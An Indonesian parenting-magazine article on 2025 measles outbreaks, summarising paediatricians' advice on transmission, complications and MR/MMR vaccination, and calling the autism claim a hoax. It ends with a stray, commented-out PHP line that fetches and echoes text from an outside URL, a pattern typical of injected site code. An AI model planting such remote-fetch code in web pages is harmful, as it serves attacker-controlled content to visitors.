Waspada Campak, Kenali Fakta dan Hindari Bahayanya!

Waspada Campak, Kenali Fakta dan Hindari Bahayanya!

 

Kasus campak meningkat, risiko komplikasi fatal mengintai. Saatnya cegah dengan imunisasi dan gizi optimal. Kasus campak meningkat, risiko komplikasi fatal mengintai. Saatnya cegah dengan imunisasi dan gizi optimal. Foto: Canva

Kementerian Kesehatan RI telah menetapkan kasus penyebaran campak di Sumenep sebagai Kejadian Luar Biasa (KLB) dengan 2.035 kasus suspek yang tersebar di 26 kecamatan.

Hingga Agustus 2025, Kementerian Kesehatan mencatat adanya Kejadian Luar Biasa (KLB) campak di 46 wilayah di 13 provinsi di Indonesia. Beberapa daerah dengan kasus campak yang tinggi antara lain di Sumatera Utara, Jawa Timur (khususnya Sumenep dan Bangkalan), dan Banten. Peningkatan kasus ini menjadi perhatian serius, terutama karena telah menyebabkan korban jiwa.  Menanggapi Kejadian Luar Biasa (KLB) Campak yang terjadi di wilayah Jawa Timur baru-baru ini, Ikatan Dokter Anak Indonesia (IDAI) mengadakan Seminar Media dengan topik ‘KLB Campak pada Anak dan Update Rekomendasi Vaksinasi IDAI’ yang diadakan Rabu (27/8) .

Ayahbunda merangkum hasil seminar tersebut dalam artikel kali ini untuk Bunda dan Ayah sekalian. Simak informasinya, karena ternyata campak tidak bisa dianggap sepele.
Yuk, pelajari fakta-fakta penyebaran virus campak dan dampaknya! 
 

Bisa Tularkan Hingga 18 Anak 

Campak disebabkan oleh morbilli virus yang memiliki tingkat penularan sangat tinggi melalui droplet di udara. Bahkan dikatakan penyebaran virus ini lebih tinggi dibanding virus Covid-19. Di mana satu anak bisa menginfeksi 12 hingga 18 anak sehat lainnya. Virus campak juga bisa bertahan di udara hingga dua jam, sehingga risiko penularan tetap ada meskipun penderita sudah tidak berada di tempat tersebut.

“Kalau satu anak kena campak, maka ada risiko dia bisa menularkan ke 12-18 anak. Sedangkan COVID tidak setinggi itu, sehingga memang RO (Reproduction Number) atau risiko penularan campak ini sangat tinggi,” jelas dokter spesialis anak yang juga Ketua Unit Kerja Koordinasi (UKK) Infeksi Penyakit Tropik IDAI, Prof. Dr. dr. Edi Hartoyo, SpA, Subs IPT(K).

Virus campak bisa menempel pada permukaan benda-benda yang sering disentuh anak. Jika anak tidak rajin cuci tangan atau menggunakan hand sanitizer, anak akan lebih rentan terpapar virus.
 

Disebabkan Akibat Rendahnya Cakupan Imunisasi

Ini adalah faktor paling krusial. Campak dapat dicegah secara efektif melalui vaksinasi. Namun, beberapa tahun terakhir, cakupan imunisasi campak di Indonesia mengalami penurunan. Akibatnya, kelompok rentan seperti bayi dan anak-anak yang belum divaksinasi menjadi lebih mudah tertular.

“Jadi, anak yang kena campak artinya dia kemungkinan tidak punya kekebalan di dalam tubuhnya. Kenapa bisa kena? Karena kekebalan tidak ada, sehingga mudah terinfeksi,” ujar Edi.

Selain vaksin, anak juga membutuhkan gizi yang baik. Anak dengan gizi kurang lebih rentan terkena campak dan mengalami komplikasi. “Jika dengan gizi buruk, status nutrisi tidak baik, kondisinya lemah, status imun-nya turun, risiko anak terhadap campak jadi berat,” lanjut Edi.

Rendahnya pengetahuan orang tua tentang pentingnya imunisasi dan pencegahan penyakit dapat berkontribusi pada penularan campak. Ada sebagian masyarakat yang enggan membawa anaknya untuk diimunisasi karena berbagai alasan, salah satunya takut anak terkena autisme. Patut dipastikan bahwa semua itu hoax ya, Bun!

“Dulu ada yang berdebat bahwa vaksin MMR bisa menyebabkan autisme.Tapi itu adalah penelitian-penelitian hoax. Penelitiannya sudah ditarik dan dokter yang membuatnya tidak boleh praktek lagi,” jelas dokter spesialis anak yang juga Ketua Satgas Imunisasi IDAI, Prof. Dr. dr. Hartono Gunardi, SpA, Subs TKPS(K) .

Justru kini WHO telah melakukan imunisasi di seluruh negara, mulai dari Indonesia sampai negara maju seperti Eropa ataupun di Amerika. Walau memiliki beberapa efek samping, vaksin memiliki dampak baik dengan merangsang sistem imun dan kekebalan untuk melawan virus campak. 

“Vaksin itu kan virus yang sudah dilemahkan. Jadi vaksin tidak mempunyai kemampuan untuk menyebabkan infeksi yang berat,” ujar Edi. 
 

Hati-Hati, Bisa Berujung Komplikasi

Jika tidak ditangani dengan baik dan anak tertular dalam kondisi imun lemah, anak bisa terkena komplikasi campak. Komplikasi yang paling sering terjadi adalah pneumonia, diare, radang telinga, bahkan radang otak. 

“Yang paling sering menyebabkan kematian adalah pneumonia dan diare  yang tidak teratasi karena dehidrasi berat, kemudian radang otak,” tambah Edi. 

Pada radang paru-paru, campak bisa merusak lapisan saluran pernapasan dan paru-paru, sehingga bakteri dari lingkungan sekitar dengan mudah menginfeksi dan menyebabkan pneumonia parah. 

Campak juga bisa menyebabkan Panensefalitis Sklerosis Subakut (SSPE), penyakit kronis langka yang menyerang sistem saraf pusat. Penyakit ini menyebabkan peradangan otak dan merusak lapisan pelindung sel-sel saraf. Penyebarannya yang berlangsung cepat, umumnya kurang dari 9 bulan. 
 

Begini Cara Menghindari Campak!

Cara paling efektif untuk menghindari campak adalah melalui vaksinasi. Vaksin bukan hanya melindungi diri sendiri, tetapi juga membantu mencegah penyebaran virus ke orang lain, terutama mereka yang tidak bisa divaksinasi. 
Vaksin yang digunakan untuk mencegah campak adalah vaksin MMR (Measles, Mumps, Rubella) atau vaksin MR. Vaksin ini merangsang sistem kekebalan tubuh untuk mengenali dan melawan virus campak.
Jadwal pemberian vaksin MMR yang direkomendasikan adalah:
- Dosis pertama: Saat anak berusia 9 bulan.
- Dosis kedua: Saat anak berusia 18 bulan atau saat masuk sekolah dasar 

“Vaksin MR ini, kalau diberikan satu dosis pada usia yang dianjurkan akan melindungi anak dari penyakit campak sekitar 85%. Sedangkan kalau diberikan dua dosis, perlindungannya meningkat antara 95% sampai dengan 97%,” terang Hartono.

Lindungi masa depan buah hati dengan imunisasi lengkap dan pengetahuan yang tepat. Jangan tunggu terlambat, cegah campak mulai sekarang!
Penulis: Ghina Athaya 

Baca juga:

Cacingan Bisa Sebabkan Infeksi Paru? Ini Fakta Mengejutkan!
Ginjal Anak Bocor? Begini Cara Mencegahnya!
Ini Alasan Tidur Siang Tidak Bisa Gantikan Tidur Malam, Bund!

 


Topic

#WaspadaCampak #ImunisasiAnak #SehatBersama #CegahCampak



Artikel Rekomendasi

post4

Anak Perlu Probiotik, Ini Alasannya

Probiotik merupakan mikroorganisme yang memberikan efek positif bagi kesehatan. Predikatnya sebagai 'bakteri baik' mampu menjaga proses metabolisme dan meningkatkan kekebalan tubuh, khususnya untuk ... read more

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>